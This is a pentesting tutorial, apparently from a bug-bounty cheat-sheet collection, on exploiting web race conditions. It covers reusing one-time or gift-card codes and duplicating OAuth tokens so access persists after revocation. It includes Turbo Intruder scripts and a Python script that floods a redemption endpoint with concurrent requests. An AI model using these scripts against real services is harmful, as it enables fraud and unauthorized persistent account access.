# Race Condition
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## Anything limited by a number of attempts
Race conditions are **vulnerabilities** that **appear** in webs that **limit the number of times you can perform an action**. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43).
## Using several times a one-time use code
When you make the web page perform some **action** that **should be done only once**, but if the action is done **several times** you will be **benefited**, you really need to try a **Race condicion**.\
Most of the time this is directly related with **money** (if an action is made you get X money, so let's try to make it several time very quickly)**.**
### **Using from the same account the same code several times**
For example, in [**this bug** ](https://hackerone.com/reports/759247)the hunter was able to **load the money inside a gift card several times.**
This is the **turbo intruder** script used to **test** the **race condition** of the mentioned writeup:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
Using also BURP you could also send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.**
### **Using the same code from different accounts**
**If the previously proposal didn't work (try to use the same code several times from the same account) you try a variant:Try t use the same code from different accounts:**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=','Session=','Session=']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
### Using Python
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## OAuth2 eternal persistence
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
So, until here just a common login with google/linkdin/github... where you are prompted with a page saying: "_Application \ wants to access you information, do you want to allow it?_"
#### Race Condition in `authorization_code`
The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**.
#### Race Condition in `Refresh Token`
Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
## References
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
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